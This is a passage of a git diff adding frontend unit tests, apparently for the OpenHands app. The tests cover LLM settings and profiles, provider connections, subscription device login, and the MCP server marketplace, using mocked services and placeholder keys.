+        expect(screen.getByText("LAUNCH$ERROR_CREATION_FAILED")).toBeInTheDocument();
+      });
+    });
+
+    it("should show try again button on creation failure", async () => {
+      const user = userEvent.setup();
+      mockMutateAsync.mockRejectedValue(new Error("API Error"));
+
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      // First check the trust checkbox
+      await user.click(screen.getByTestId("trust-checkbox"));
+      await user.click(screen.getByTestId("start-conversation-button"));
+
+      await waitFor(() => {
+        expect(screen.getByTestId("try-again-button")).toBeInTheDocument();
+      });
+    });
+  });
+});
diff --git a/__tests__/routes/llm-settings.test.tsx b/__tests__/routes/llm-settings.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d1f906b5180e0434def14da8abf68c8fd8ecd2a5
--- /dev/null
+++ b/__tests__/routes/llm-settings.test.tsx
@@ -0,0 +1,706 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+  fireEvent,
+  render,
+  screen,
+  waitFor,
+  within,
+} from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { MemoryRouter } from "react-router";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+// Import the named export LlmSettingsScreen directly for testing the form component.
+// The default export now renders LlmSettingsLocalView (the profiles manager view).
+import LlmSettingsRoute, { LlmSettingsScreen } from "#/routes/llm-settings";
+import ConfigService from "#/api/config-service/config-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { useFreeModelsStore } from "#/stores/free-models-store";
+import { Settings } from "#/types/settings";
+import * as activeBackendContext from "#/contexts/active-backend-context";
+import type { Backend } from "#/api/backend-registry/types";
+import * as useLlmProfilesHook from "#/hooks/query/use-llm-profiles";
+import LLMSubscriptionService from "#/api/llm-subscription-service";
+import ProviderConnectionsService, {
+  type ProviderConnection,
+} from "#/api/provider-connections-service/provider-connections-service.api";
+
+vi.mock("#/hooks/query/use-llm-profiles");
+// The profile manager gates mutate controls on this hook; default to a user
+// who can manage so the manager renders its full (editable) surface.
+vi.mock("#/hooks/use-can-manage-org-profiles", () => ({
+  useCanManageOrgProfiles: () => true,
+}));
+
+function buildSettings(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    ...overrides,
+    agent_settings_schema:
+      overrides.agent_settings_schema ??
+      MOCK_DEFAULT_USER_SETTINGS.agent_settings_schema,
+    agent_settings:
+      overrides.agent_settings ?? MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+  };
+}
+
+function renderLlmSettingsScreen(
+  props: Parameters<typeof LlmSettingsScreen>[0] = {},
+) {
+  return render(<LlmSettingsScreen {...props} />, {
+    wrapper: ({ children }) => (
+      <MemoryRouter>
+        <QueryClientProvider
+          client={
+            new QueryClient({
+              defaultOptions: { queries: { retry: false } },
+            })
+          }
+        >
+          {children}
+        </QueryClientProvider>
+      </MemoryRouter>
+    ),
+  });
+}
+
+function renderLlmSettingsRoute() {
+  return render(<LlmSettingsRoute />, {
+    wrapper: ({ children }) => (
+      <MemoryRouter>
+        <QueryClientProvider
+          client={
+            new QueryClient({
+              defaultOptions: { queries: { retry: false } },
+            })
+          }
+        >
+          {children}
+        </QueryClientProvider>
+      </MemoryRouter>
+    ),
+  });
+}
+
+const mockLocalBackend: Backend = {
+  id: "local-1",
+  name: "Local Backend",
+  host: "http://localhost:18000",
+  apiKey: "",
+  kind: "local",
+};
+
+const mockCloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Cloud Backend",
+  host: "https://app.all-hands.dev",
+  apiKey: "test-key",
+  kind: "cloud",
+};
+
+/**
+ * Helper to create properly typed mock return values for useLlmProfiles.
+ */
+function createMockLlmProfilesReturn(
+  overrides: Partial<ReturnType<typeof useLlmProfilesHook.useLlmProfiles>> = {},
+): ReturnType<typeof useLlmProfilesHook.useLlmProfiles> {
+  return {
+    data: { profiles: [], active_profile: null },
+    isLoading: false,
+    error: null,
+    isError: false,
+    isFetching: false,
+    isSuccess: true,
+    refetch: vi.fn(),
+    ...overrides,
+  } as ReturnType<typeof useLlmProfilesHook.useLlmProfiles>;
+}
+
+describe("LlmSettingsScreen", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(["openhands/kimi-k3"]),
+      defaultModel: "openhands/kimi-k3",
+    });
+  });
+
+  it("renders the OSS LLM settings form from the SDK schema fallback", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        llm_model: "openai/gpt-4o",
+        llm_api_key_set: true,
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          llm: {
+            model: "openai/gpt-4o",
+            api_key: null,
+            base_url: "",
+          },
+        },
+      }),
+    );
+
+    renderLlmSettingsScreen();
+
+    await screen.findByTestId("llm-settings-screen");
+
+    expect(screen.getByTestId("llm-provider-input")).toBeInTheDocument();
+    expect(screen.getByTestId("llm-api-key-input")).toBeInTheDocument();
+  });
+
+  it("shows the API key as set on the global settings page when a key exists", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ llm_model: "openai/gpt-4o", llm_api_key_set: true }),
+    );
+
+    renderLlmSettingsScreen();
+
+    await screen.findByTestId("llm-settings-screen");
+
+    expect(screen.getByTestId("set-indicator")).toBeInTheDocument();
+    expect(screen.getByTestId("llm-api-key-input")).toHaveValue("");
+  });
+
+  it("does not clear an existing base URL on Basic save without a model change", async () => {
+    const saveSettingsSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        llm_model: "openai/gpt-4o",
+        llm_base_url: "https://custom.example/v1",
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          llm: {
+            model: "openai/gpt-4o",
+            api_key: null,
+            base_url: "https://custom.example/v1",
+          },
+        },
+      }),
+    );
+
+    renderLlmSettingsScreen();
+
+    await screen.findByTestId("llm-settings-screen");
+    fireEvent.click(screen.getByTestId("sdk-section-basic-toggle"));
+    fireEvent.change(screen.getByTestId("llm-api-key-input"), {
+      target: { value: "test-api-key" },
+    });
+    fireEvent.click(screen.getByTestId("save-button"));
+
+    await waitFor(() => expect(saveSettingsSpy).toHaveBeenCalled());
+    const payload = saveSettingsSpy.mock.calls[0][0] as Record<string, unknown>;
+    const llmPayload = (payload.agent_settings_diff as Record<string, unknown>)
+      .llm as Record<string, unknown>;
+    expect(llmPayload.api_key).toBe("test-api-key");
+    expect(llmPayload).not.toHaveProperty("base_url");
+  });
+
+  it("does not show a 'key set' indicator for a brand-new embedded profile even when a global key exists (bug #640)", async () => {
+    // A global key exists, but a fresh profile form must look unset so the user
+    // knows they have to enter one — otherwise the profile saves with no key.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ llm_model: "openai/gpt-4o", llm_api_key_set: true }),
+    );
+
+    renderLlmSettingsScreen({
+      embedded: true,
+      hideSaveButton: true,
+      initialValueOverrides: {
+        "llm.model": "",
+        "llm.api_key": "",
+        "llm.base_url": "",
+      },
+    });
+
+    await screen.findByTestId("llm-settings-screen");
+
+    expect(screen.getByTestId("llm-api-key-input")).toHaveValue("");
+    expect(screen.queryByTestId("set-indicator")).not.toBeInTheDocument();
+  });
+
+  it("renders ChatGPT subscription settings without API key fields", async () => {
+    vi.spyOn(LLMSubscriptionService, "getOpenAIStatus").mockResolvedValue({
+      vendor: "openai",
+      connected: false,
+      accountEmail: null,
+      expiresAt: null,
+    });
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        llm_model: "gpt-5.2-codex",
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          llm: {
+            model: "gpt-5.2-codex",
+            auth_type: "subscription",
+            subscription_vendor: "openai",
+          },
+        },
+      }),
+    );
+
+    renderLlmSettingsScreen();
+
+    await screen.findByTestId("llm-subscription-settings");
+
+    expect(
+      screen.getByTestId("openai-subscription-auth-card"),
+    ).toBeInTheDocument();
+    expect(screen.queryByTestId("llm-api-key-input")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("base-url-input")).not.toBeInTheDocument();
+  });
+
+  it("disables subscription model controls while models are loading", async () => {
+    vi.spyOn(LLMSubscriptionService, "getOpenAIStatus").mockResolvedValue({
+      vendor: "openai",
+      connected: true,
+      accountEmail: "graham@example.com",
+      expiresAt: null,
+    });
+    vi.spyOn(LLMSubscriptionService, "getOpenAIModels").mockReturnValue(
+      new Promise(() => {}),
+    );
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        llm_model: "gpt-5.2-codex",
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          llm: {
+            model: "gpt-5.2-codex",
+            auth_type: "subscription",
+            subscription_vendor: "openai",
+          },
+        },
+      }),
+    );
+
+    renderLlmSettingsScreen();
+
+    await screen.findByTestId("llm-subscription-settings");
+
+    expect(screen.getByTestId("llm-auth-type-input")).toBeDisabled();
+    expect(screen.getByTestId("llm-subscription-model-input")).toBeDisabled();
+  });
+
+  it("auto-polls the ChatGPT subscription device login after opening verification", async () => {
+    const openSpy = vi.spyOn(window, "open").mockImplementation(() => null);
+    vi.spyOn(LLMSubscriptionService, "getOpenAIStatus").mockResolvedValue({
+      vendor: "openai",
+      connected: false,
+      accountEmail: null,
+      expiresAt: null,
+    });
+    vi.spyOn(
+      LLMSubscriptionService,
+      "startOpenAIDeviceLogin",
+    ).mockResolvedValue({
+      deviceCode: "device-code",
+      userCode: "USER-CODE",
+      verificationUri: "https://auth.openai.com/activate",
+      verificationUriComplete:
+        "https://auth.openai.com/activate?user_code=USER-CODE",
+      expiresAt: null,
+      intervalSeconds: 1,
+    });
+    vi.spyOn(LLMSubscriptionService, "getOpenAIModels").mockResolvedValue([
+      "gpt-5.2-codex",
+    ]);
+    const pollLogin = vi
+      .spyOn(LLMSubscriptionService, "pollOpenAIDeviceLogin")
+      .mockResolvedValue({
+        vendor: "openai",
+        connected: true,
+        accountEmail: "graham@example.com",
+        expiresAt: null,
+      });
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        llm_model: "gpt-5.2-codex",
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          llm: {
+            model: "gpt-5.2-codex",
+            auth_type: "subscription",
+            subscription_vendor: "openai",
+          },
+        },
+      }),
+    );
+
+    renderLlmSettingsScreen();
+
+    await screen.findByTestId("llm-subscription-settings");
+    fireEvent.click(screen.getByTestId("subscription-connect"));
+    const userCode = await screen.findByTestId("subscription-user-code");
+    expect(userCode).toHaveTextContent("USER-CODE");
+    expect(userCode.parentElement).toHaveClass("text-white");
+
+    expect(openSpy).toHaveBeenCalledWith(
+      "https://auth.openai.com/activate?user_code=USER-CODE",
+      "_blank",
+      "noopener,noreferrer",
+    );
+
+    await waitFor(
+      () => {
+        expect(pollLogin).toHaveBeenCalled();
+      },
+      { timeout: 2500 },
+    );
+    expect(pollLogin.mock.calls[0]?.[0]).toBe("device-code");
+  });
+});
+
+describe("LlmSettingsScreen - provider connection selector", () => {
+  const connection: ProviderConnection = {
+    id: "conn-1",
+    display_name: "My OpenAI",
+    provider: "openai",
+    base_url: null,
+    created_at: 1,
+    updated_at: 2,
+    api_key_set: true,
+  };
+
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ llm_model: "openai/gpt-4o", llm_api_key_set: true }),
+    );
+  });
+
+  it("hides the selector on cloud even when a connection is linked", async () => {
+    vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({
+      backend: mockCloudBackend,
+    } as ReturnType<typeof activeBackendContext.useActiveBackend>);
+    const listSpy = vi
+      .spyOn(ProviderConnectionsService, "list")
+      .mockResolvedValue([connection]);
+
+    renderLlmSettingsScreen({
+      embedded: true,
+      hideSaveButton: true,
+      // showProviderConnection omitted → cloud path
+      initialValueOverrides: {
+        "llm.model": "openai/gpt-4o",
+        "llm.provider_connection_id": "conn-1",
+      },
+    });
+
+    await screen.findByTestId("llm-settings-screen");
+    expect(
+      screen.queryByTestId("llm-provider-connection-input"),
+    ).not.toBeInTheDocument();
+    expect(listSpy).not.toHaveBeenCalled();
+  });
+
+  it("hides the API key / base URL inputs when linked to a connection", async () => {
+    vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({
+      backend: mockLocalBackend,
+    } as ReturnType<typeof activeBackendContext.useActiveBackend>);
+    vi.spyOn(ProviderConnectionsService, "list").mockResolvedValue([
+      connection,
+    ]);
+
+    renderLlmSettingsScreen({
+      embedded: true,
+      hideSaveButton: true,
+      showProviderConnection: true,
+      initialValueOverrides: {
+        "llm.model": "openai/gpt-4o",
+        "llm.provider_connection_id": "conn-1",
+      },
+    });
+
+    await screen.findByTestId("llm-settings-screen");
+    await screen.findByTestId("llm-provider-connection-input");
+    expect(screen.queryByTestId("llm-api-key-input")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("base-url-input")).not.toBeInTheDocument();
+  });
+
+  it("updates form state when a linked provider connection is changed to None", async () => {
+    const user = userEvent.setup();
+    let latestValues: Record<string, string | boolean> = {};
+
+    vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({
+      backend: mockLocalBackend,
+    } as ReturnType<typeof activeBackendContext.useActiveBackend>);
+    vi.spyOn(ProviderConnectionsService, "list").mockResolvedValue([
+      connection,
+    ]);
+
+    renderLlmSettingsScreen({
+      embedded: true,
+      hideSaveButton: true,
+      showProviderConnection: true,
+      initialValueOverrides: {
+        "llm.model": "openai/gpt-4o",
+        "llm.provider_connection_id": "conn-1",
+      },
+      onSaveControlChange: (control) => {
+        latestValues = control.values;
+      },
+    });
+
+    await screen.findByTestId("llm-settings-screen");
+    const selector = await screen.findByTestId("llm-provider-connection-input");
+    expect(selector).toHaveValue("My OpenAI");
+
+    await user.click(selector);
+    await user.click(await screen.findByText("SETTINGS$MCP_AUTH_MODE_NONE"));
+
+    await waitFor(() => {
+      expect(latestValues["llm.provider_connection_id"]).toBe("");
+    });
+  });
+
+  it("still renders the selector for an orphaned link when no connections load", async () => {
+    // Regression: a profile linked to a since-deleted connection would hide the
+    // API key / base URL inputs while also hiding the selector, leaving no way
+    // to recover the credential or unlink.
+    vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({
+      backend: mockLocalBackend,
+    } as ReturnType<typeof activeBackendContext.useActiveBackend>);
+    vi.spyOn(ProviderConnectionsService, "list").mockResolvedValue([]);
+
+    renderLlmSettingsScreen({
+      embedded: true,
+      hideSaveButton: true,
+      showProviderConnection: true,
+      initialValueOverrides: {
+        "llm.model": "openai/gpt-4o",
+        "llm.provider_connection_id": "conn-gone",
+      },
+    });
+
+    await screen.findByTestId("llm-settings-screen");
+    expect(
+      await screen.findByTestId("llm-provider-connection-input"),
+    ).toBeInTheDocument();
+  });
+});
+
+describe("LlmSettingsScreen - OpenHands provider on cloud", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(["openhands/kimi-k3"]),
+      defaultModel: "openhands/kimi-k3",
+    });
+    vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({
+      backend: mockCloudBackend,
+    } as ReturnType<typeof activeBackendContext.useActiveBackend>);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ llm_model: "openhands/kimi-k3", llm_api_key_set: true }),
+    );
+    vi.spyOn(ConfigService, "searchProviders").mockResolvedValue({
+      items: [{ name: "openhands", verified: true }],
+      next_page_id: null,
+    });
+    vi.spyOn(ConfigService, "searchModels").mockResolvedValue({
+      items: [
+        {
+          provider: "openhands",
+          name: "kimi-k3",
+          verified: true,
+          free: true,
+          default: true,
+        },
+      ],
+      next_page_id: null,
+    });
+  });
+
+  it("hides the inline API key and base URL inputs for an OpenHands provider model", async () => {
+    renderLlmSettingsScreen({
+      embedded: true,
+      hideSaveButton: true,
+      initialValueOverrides: {
+        "llm.model": "openhands/kimi-k3",
+        "llm.api_key": "",
+        "llm.base_url": "",
+      },
+    });
+
+    await screen.findByTestId("llm-settings-screen");
+
+    expect(screen.queryByTestId("llm-api-key-input")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("base-url-input")).not.toBeInTheDocument();
+    // The free-models note is still surfaced so the user understands the model.
+    expect(
+      await screen.findByTestId("openhands-free-models-note"),
+    ).toBeInTheDocument();
+  });
+
+  it("hides the OpenHands API key help link on cloud (the key is server-minted)", async () => {
+    renderLlmSettingsScreen({
+      embedded: true,
+      hideSaveButton: true,
+      initialValueOverrides: {
+        "llm.model": "openhands/kimi-k3",
+        "llm.api_key": "",
+        "llm.base_url": "",
+      },
+    });
+
+    await screen.findByTestId("llm-settings-screen");
+
+    expect(
+      screen.queryByTestId("openhands-api-key-help"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("openhands-api-key-help-2"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("strips api_key and base_url from the saved settings payload", async () => {
+    const saveSettingsSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+    renderLlmSettingsScreen({
+      initialValueOverrides: {
+        "llm.model": "openhands/kimi-k3",
+        "llm.api_key": "should-not-be-sent",
+        "llm.base_url": "https://should-not-be-sent.example/v1",
+      },
+    });
+
+    await screen.findByTestId("llm-settings-screen");
+    fireEvent.click(screen.getByTestId("save-button"));
+
+    await waitFor(() => expect(saveSettingsSpy).toHaveBeenCalled());
+    const payload = saveSettingsSpy.mock.calls[0][0] as Record<string, unknown>;
+    const llmPayload = (payload.agent_settings_diff as Record<string, unknown>)
+      .llm as Record<string, unknown>;
+    expect(llmPayload.model).toBe("openhands/kimi-k3");
+    expect(llmPayload).not.toHaveProperty("api_key");
+    expect(llmPayload).not.toHaveProperty("base_url");
+  });
+
+  it("still shows the API key input for the OpenHands provider on a local backend", async () => {
+    vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({
+      backend: mockLocalBackend,
+    } as ReturnType<typeof activeBackendContext.useActiveBackend>);
+    renderLlmSettingsScreen({
+      embedded: true,
+      hideSaveButton: true,
+      initialValueOverrides: {
+        "llm.model": "openhands/kimi-k3",
+        "llm.api_key": "",
+        "llm.base_url": "",
+      },
+    });
+
+    await screen.findByTestId("llm-settings-screen");
+
+    // Local mode still collects an inline key for the OpenHands provider.
+    expect(screen.getByTestId("llm-api-key-input")).toBeInTheDocument();
+    const openHandsHelp = screen.getByTestId("openhands-api-key-help");
+    expect(openHandsHelp).toBeInTheDocument();
+    // The OpenHands provider help uses the split TEXT/LINK/SUFFIX keys (not
+    // the stale single-string "API Keys tab" key) and links to OpenHands
+    // Cloud's API Keys page, where the OpenHands LLM Key section lives.
+    expect(openHandsHelp).toHaveTextContent(
+      "SETTINGS$OPENHANDS_API_KEY_HELP_TEXT",
+    );
+    expect(openHandsHelp).toHaveTextContent(
+      "SETTINGS$OPENHANDS_API_KEY_HELP_LINK",
+    );
+    expect(openHandsHelp).toHaveTextContent(
+      "SETTINGS$OPENHANDS_API_KEY_HELP_SUFFIX",
+    );
+    expect(openHandsHelp).toHaveTextContent(
+      "SETTINGS$SEE_HERE_FOR_MORE_DETAILS",
+    );
+    expect(openHandsHelp).not.toHaveTextContent("SETTINGS$NAV_API_KEYS");
+    const helpLinks = within(openHandsHelp).getAllByRole("link");
+    expect(helpLinks).toHaveLength(2);
+    expect(helpLinks[0]).toHaveAttribute(
+      "href",
+      "https://app.all-hands.dev/settings/api-keys",
+    );
+    expect(helpLinks[1]).toHaveAttribute(
+      "href",
+      "https://docs.openhands.dev/usage/local-setup#getting-an-api-key",
+    );
+  });
+
+  it("still shows the API key input for a non-OpenHands provider on cloud", async () => {
+    renderLlmSettingsScreen({
+      embedded: true,
+      hideSaveButton: true,
+      initialValueOverrides: {
+        "llm.model": "openai/gpt-4o",
+        "llm.api_key": "",
+        "llm.base_url": "",
+      },
+    });
+
+    await screen.findByTestId("llm-settings-screen");
+
+    expect(screen.getByTestId("llm-api-key-input")).toBeInTheDocument();
+  });
+});
+
+describe("LlmSettingsRoute - backend mode rendering", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+
+    // Default to local backend
+    vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({
+      backend: mockLocalBackend,
+      orgId: null,
+    });
+
+    // Mock useLlmProfiles for local mode tests
+    vi.mocked(useLlmProfilesHook.useLlmProfiles).mockReturnValue(
+      createMockLlmProfilesReturn(),
+    );
+  });
+
+  it("renders LlmSettingsLocalView (profile manager) for local backends", async () => {
+    vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({
+      backend: mockLocalBackend,
+      orgId: null,
+    });
+
+    renderLlmSettingsRoute();
+
+    // Local mode shows the "Add LLM Profile" button from LlmProfilesManager
+    await screen.findByTestId("add-llm-profile");
+    expect(screen.getByTestId("add-llm-profile")).toBeInTheDocument();
+  });
+
+  it("renders LlmSettingsLocalView (profile manager) for cloud backends", async () => {
+    vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({
+      backend: mockCloudBackend,
+      orgId: "org-123",
+    });
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        llm_model: "openai/gpt-4o",
+        llm_api_key_set: true,
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          llm: {
+            model: "openai/gpt-4o",
+            api_key: null,
+            base_url: "",
+          },
+        },
+      }),
+    );
+
+    renderLlmSettingsRoute();
+
+    // Cloud now manages the LLM through profiles too (app-server
+    // /api/v1/settings/profiles), so the route renders the profile manager
+    // — same view as local — rather than the plain settings form.
+    await screen.findByTestId("add-llm-profile");
+    expect(screen.getByTestId("add-llm-profile")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/routes/mcp-page.test.tsx b/__tests__/routes/mcp-page.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ab4765dc283c88ae1da62d190f26a6077b71149c
--- /dev/null
+++ b/__tests__/routes/mcp-page.test.tsx
@@ -0,0 +1,398 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+  render,
+  screen,
+  within,
+  fireEvent,
+  waitFor,
+} from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import MCPPage from "#/routes/mcp";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { Settings } from "#/types/settings";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+
+function buildSettings(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    ...overrides,
+    agent_settings: {
+      ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+      ...overrides.agent_settings,
+    },
+    mcp_config: overrides.mcp_config ?? MOCK_DEFAULT_USER_SETTINGS.mcp_config,
+  };
+}
+
+function renderPage() {
+  return render(<MCPPage />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({ defaultOptions: { queries: { retry: false } } })
+        }
+      >
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    ),
+  });
+}
+
+describe("MCPPage", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    // Pre-flight connectivity test must pass so save mutations are reached.
+    vi.spyOn(McpService, "testServer").mockResolvedValue({
+      ok: true,
+      tools: [],
+    });
+  });
+
+  it("renders the empty installed state and the marketplace", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+
+    renderPage();
+
+    await screen.findByTestId("mcp-marketplace-section");
+    expect(screen.getByTestId("mcp-installed-empty")).toBeInTheDocument();
+    expect(screen.getByTestId("mcp-marketplace-grid")).toBeInTheDocument();
+  });
+
+  it("lists GitHub, Slack, and Tavily as the first three marketplace tiles", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+
+    renderPage();
+
+    await screen.findByTestId("mcp-marketplace-grid");
+
+    const cards = screen.getAllByTestId(/^mcp-marketplace-card-/);
+    expect(cards.length).toBeGreaterThan(3);
+    expect(cards[0]).toHaveAttribute(
+      "data-testid",
+      "mcp-marketplace-card-github",
+    );
+    expect(cards[1]).toHaveAttribute(
+      "data-testid",
+      "mcp-marketplace-card-slack",
+    );
+    expect(cards[2]).toHaveAttribute(
+      "data-testid",
+      "mcp-marketplace-card-tavily",
+    );
+  });
+
+  it("opens the install modal when clicking a marketplace tile", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+
+    renderPage();
+
+    await screen.findByTestId("mcp-marketplace-card-slack");
+    fireEvent.click(screen.getByTestId("mcp-marketplace-card-slack"));
+
+    await waitFor(() => {
+      expect(screen.getByTestId("mcp-install-modal")).toBeInTheDocument();
+    });
+    expect(
+      screen.getByTestId("mcp-install-field-command-readonly"),
+    ).toHaveValue("npx -y @zencoderai/slack-mcp-server");
+    expect(
+      screen.getByTestId("mcp-install-field-SLACK_BOT_TOKEN"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("mcp-install-field-SLACK_TEAM_ID"),
+    ).toBeInTheDocument();
+    expect(screen.queryByTestId("mcp-install-field-url")).toBeNull();
+    expect(screen.queryByTestId("mcp-install-field-api_key")).toBeNull();
+  });
+
+  it("filters marketplace tiles by the search input", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+
+    renderPage();
+
+    const search = await screen.findByTestId("mcp-search-input");
+    fireEvent.change(search, { target: { value: "Slack" } });
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("mcp-marketplace-card-slack"),
+      ).toBeInTheDocument();
+    });
+    expect(
+      screen.queryByTestId("mcp-marketplace-card-github"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("mcp-marketplace-card-gitlab"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("keeps installed custom servers visible and searchable even when they are not in the marketplace catalog", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          mcp_config: {
+            acme_internal: {
+              command: "npx",
+              args: ["-y", "@acme/internal-mcp-server"],
+            },
+          },
+        },
+      }),
+    );
+
+    renderPage();
+
+    await screen.findByTestId("mcp-installed-list");
+    expect(screen.getByText("acme_internal")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("mcp-marketplace-card-acme_internal"),
+    ).not.toBeInTheDocument();
+
+    const search = screen.getByTestId("mcp-search-input");
+    fireEvent.change(search, { target: { value: "internal-mcp-server" } });
+
+    await waitFor(() => {
+      expect(screen.getByText("acme_internal")).toBeInTheDocument();
+    });
+    expect(screen.getByTestId("mcp-marketplace-empty")).toBeInTheDocument();
+  });
+
+  it("hides the library section when the section filter is Installed", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+
+    renderPage();
+
+    await screen.findByTestId("mcp-marketplace-section");
+
+    const filter = screen.getByTestId("mcp-section-filter");
+    fireEvent.click(within(filter).getByTestId("dropdown-trigger"));
+    fireEvent.click(screen.getByTestId("mcp-section-filter-installed"));
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("mcp-marketplace-section"),
+      ).not.toBeInTheDocument();
+    });
+    expect(screen.getByTestId("mcp-installed-empty")).toBeInTheDocument();
+  });
+
+  it("hides the installed section when the section filter is Library", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+
+    renderPage();
+
+    await screen.findByTestId("mcp-installed-empty");
+
+    const filter = screen.getByTestId("mcp-section-filter");
+    fireEvent.click(within(filter).getByTestId("dropdown-trigger"));
+    fireEvent.click(screen.getByTestId("mcp-section-filter-library"));
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("mcp-installed-empty"),
+      ).not.toBeInTheDocument();
+    });
+    expect(screen.getByTestId("mcp-marketplace-section")).toBeInTheDocument();
+  });
+
+  it("shows a search-empty state when the query matches nothing", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+
+    renderPage();
+
+    const search = await screen.findByTestId("mcp-search-input");
+    fireEvent.change(search, {
+      target: { value: "totally-not-a-real-server" },
+    });
+
+    await waitFor(() => {
+      expect(screen.getByTestId("mcp-marketplace-empty")).toBeInTheDocument();
+    });
+  });
+
+  it("opens the server editor when an installed server card is clicked", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          mcp_config: {
+            slack: {
+              command: "npx",
+              args: ["-y", "@zencoderai/slack-mcp-server"],
+              env: { SLACK_BOT_TOKEN: "xoxb-abc", SLACK_TEAM_ID: "T01" },
+            },
+          },
+        },
+      }),
+    );
+
+    renderPage();
+
+    fireEvent.click(await screen.findByTestId("mcp-server-item"));
+
+    expect(await screen.findByTestId("mcp-custom-editor")).toBeInTheDocument();
+  });
+
+  it("deletes an installed stdio server through the confirmation modal", async () => {
+    // Pre-install a Slack stdio server via the SDK-shaped mcp_config
+    // the route reads from agent_settings.mcp_config.
+    const settingsWithSlack = buildSettings({
+      agent_settings: {
